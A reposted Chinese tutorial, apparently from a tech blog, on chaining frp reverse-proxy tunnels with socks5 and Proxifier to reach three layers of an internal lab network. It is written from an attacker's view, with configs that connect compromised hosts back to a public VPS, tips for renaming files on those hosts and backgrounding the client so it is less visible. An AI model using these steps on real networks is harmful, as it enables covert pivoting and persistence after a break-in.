IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> Frp反向代理之构建多级通信隧道实现内网穿透 -> 正文阅读

[系统运维]Frp反向代理之构建多级通信隧道实现内网穿透

目录

简介

Frp原理

模拟环境

多层网络实战

Frp访问第一层网络

服务端配置

客户端配置

Proxifier连接

Frp访问第二层网络

Frp访问第三层网络


简介

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

frp 主要由 客户端(frpc) 和 服务端(frps) 组成,服务端,客户端通常部署在需要穿透的内网服务所在的机器上。

Frp 分为服务端和客户端

  • 服务端通常部署在具有公网 IP 的机器上,且机器为linux,因为其只能为 Linux 负责处理请求,转发流量
  • 客户端 linux 和 windows 都支持 负责把本地的流量连到服务器,让服务器读取&写入

frp 采用 Golang 编写,支持跨平台,仅需下载对应平台的二进制文件即可执行,没有额外依赖。

Frp原理

?

  1. 首先,frpc 启动之后,连接 frps,并且发送一个请求 login(),之后保持住这个长连接,如果断开了,就重试
  2. frps 收到请求之后,会建立一个 listener 监听来自公网的请求
  3. 当 frps 接受到请求之后,会在本地看是否有可用的连接( frp 可以设置连接池),如果没有,就下发一个 msg.StartWorkConn 并且 等待来自 frpc 的请求
  4. frpc 收到之后,对 frps 发起请求,请求的最开始会指名这个连接是去向哪个 proxy 的
  5. frps 收到来自 frpc 的连接之后,就把新建立的连接与来自公网的连接进行流量互转
  6. 如果请求断开了,那么就把另一端的请求也断开

模拟环境

网络拓扑图如下,可见有多层网络,只有同层间的网络才能互相访问

vps: 39.100.88.162 ;攻击者:真实机

  • 第一层网络:192.168.10.0/24? ? ?vmnet1(仅主机模式)
  • 第二层网络:192.168.20.0/24? ? ?vmnet2
  • 第三层网络:192.168.30.0/24? ? ?vmnet3
  • 第四层网络:192.168.40.0/24? ? ?vmnet4

?

并在网络编辑器中将vmnet1,2,3,4网卡禁用,这样真实机就访问不了这些网卡ip了,模拟真实的内网环境

?

多层网络实战

?般常?的内?只有?层,?如 A 主机的?段是 192.168.10.x ,内?其他主机的?段也是 192.168.10.x,那么就可以直接搭建简单的一层内?隧道;那么如果?标内?有?层(192.168.20.x )、三层(192.168.30.x) 、四层(192.168.40.x ),每?层主机的?段只能和上?层的?段相互访问,那么这个时候我们应该怎样做,才能从第?层访问到最后?层,直到最深处的内?环境?

Frp访问第一层网络

服务端配置

公网的vps为linux,下载对应的linux包

?

解压后将其上传至vps上

1. 服务端的配置文件为frps.ini,默认配置如下。bind_port为服务器监听的端口

?

这里添加一个控制台,也可以不添加,前面加上注释符#就行

[common]
#服务端监听端口,默认7000。监听来自客户端的流量请求
bind_port = 7000 

#控制台用户名
dashboard_user = admin   
#控制台密码 
dashboard_pwd = password  
#控制台的端口
dashboard_port = 7500 

?

2. 第一次运行要加执行权限

chmod +777 frps

3. 启动服务端

./frps -c frps.ini

frps tcp listen为7000端口,接收来自frp客户端的请求。Dashboard listen?7500为控制面板的端口

?

4. 访问控制台7500端口

?

客户端配置

下载对应系统类型的文件。

?

1. 文件配置

?客户端中的配置文件为frpc.ini,进行如下配置

[common]
# 如果tls_enable为true,则frpc将通过tls连接frps。否则可能运行不起来
tls_enable = true
server_addr = 39.100.88.162
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5
会将客户端中所有的流量通过本地的一个随机端口转发给vps的7000端口,我们访问vps的7777端口就相当于访问客户端的7000端口
?

2. 前台启动

windows中

?将frpc.exe和frpc.ini两个文件放到被拿下的机器中(可以将两个文件都改个名字放上去)

frpc.exe -c frpc.ini

?

这时候vps会显示success,则代表隧道建立成功

?

linux中

同样也是上传两个文件就行frpc和frpc.ini,frpc.ini同win中设置

./frpc -c ./frpc.ini

3. 让进程后台运行

上面运行的方式太明显了,让其在后台运行

win:

start /b frpc.exe -c frpc.ini

运行后,我们按住ctrl+c取消,连接也不会断开。但是如果重启了就不会再自动进行连接,因为它不是以服务的形式进行启动

?

linux:

nohup ./frpc -c ./frpc.ini >/dev/null 2>&1 &

?

停止:

  • ps -aux|grep frp| grep -v grep
  • kill -9 5448

?

Proxifier连接

通过使? Proxifier ?具与?VPS建?socks5 隧道,端?为 7777

?

设置代理规则,目前要访问第一层网络10段,所以添加10

?

这样我们就能访问第一层网络了

Frp访问第二层网络

假设我们拿下了win7(192.168.20.130)这台机器,由于我们只配置了一层网络,所以只能访问10这个网段,而20这个网段是访问不了的。现在win2012-1要充当frp服务端和frp客户端以便访问第二层网络

1. win2012-1配置 frps.ini

ip填写自己10这个网段的ip,端口填写7000

[common]
bind_addr = 192.168.10.2
bind_port = 7000

然后运行

frps.exe -c frps.ini

2.?win2012-1配置 frpc.ini

[common]
tls_enable = true
server_addr = 39.100.88.162    
server_port = 7000
 
[http_proxy]
type = tcp
remote_port = 7777
#plugin = socks5,不能加上这个

#相较于一级代理,增加如下两个配置
local_ip = 192.168.10.2
local_port = 7777

?启动

frpc.exe -c frpc.ini

3.? win7-1配置 frpc.ini

[common]
server_addr = 192.168.10.2
server_port = 7000

[http_proxy]
type = tcp
remote_port = 7777	  
plugin = socks5

4. 在Proxifier原有代理规则上增加要访问的网段

5. 访问第二层网络192.168.20.130

?

Frp访问第三层网络

在上面二层网络时,win7-1只做了frp客户端,同样的要访问第三层网络,也需要将其设置为frp服务端。win2012-1的frp不需要动

1.?win7-1停止frp.exe,并配置 frpc.ini,并启动

[common]
server_addr = 192.168.10.2
server_port = 7000

[http_proxy]
type = tcp
remote_port = 7777	  

#去掉plugin选项,并增加下面两项
local_ip = 192.168.20.130
local_port = 7777

2.?win7-1配置frps.ini

[common]

#ip都是设置为下层网络的ip
bind_addr = 192.168.20.130
bind_port = 7000

3. win2012-2配置frpc.ini

[common]
server_addr = 192.168.20.130
server_port = 7000

[http_proxy]
type = tcp
remote_port = 7777	  
plugin = socks5

都启动后,就可以访问第三层网络了

按照这种方法,不管是第几层网络我们都能访问到?

参考:Frp原理分析_RivenDong的博客-CSDN博客_frp原理?等

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-04-26 12:16:02  更:2022-04-26 12:17:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 19:26:41-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码